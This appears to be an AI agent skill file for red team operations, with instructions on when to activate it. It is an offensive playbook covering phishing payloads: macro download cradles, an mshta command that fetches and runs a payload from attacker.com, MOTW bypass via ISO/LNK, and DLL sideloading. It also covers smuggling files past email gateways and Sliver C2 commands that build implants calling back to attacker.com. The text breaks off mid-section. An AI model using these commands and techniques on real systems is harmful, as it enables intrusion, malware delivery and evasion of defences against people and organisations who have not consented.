red-team-ops

# Red Team Operations ## When to Activate - Simulating advanced persistent threat (APT) operations - Testing detection and response capabilities - Establishing persistent access and C2 - Evading EDR/AV/SIEM detection - Privilege escalation on compromised hosts - Data exfiltration planning ## Initial Access ### Phishing Payloads ```bash # Office macro (VBA) # - AutoOpen/Document_Open trigger # - Download cradle: PowerShell IEX or certutil # - Sandbox evasion: check domain join, user interaction delay # HTA (HTML Application) mshta http://attacker.com/payload.hta # ISO/IMG mounting (bypass MOTW) # Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL # OneNote (.one) with embedded scripts # Drag-and-drop .bat/.hta behind fake "Double click to view" image # DLL sideloading # Find legitimate signed EXE that loads DLL from CWD # Place malicious DLL alongside legitimate EXE in delivery package ``` ### Delivery Mechanisms ``` # Smuggling past email gateways: # - Password-protected ZIP (password in email body) # - HTML smuggling (JS constructs blob → downloads file) # - QR code to attacker-controlled site # - Legitimate file-sharing (OneDrive, Google Drive links) ``` ## Command & Control (C2) ### Infrastructure Setup ```bash # Sliver C2 sliver-server > generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe > mtls --lhost 0.0.0.0 --lport 443 > https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com # Domain fronting / CD...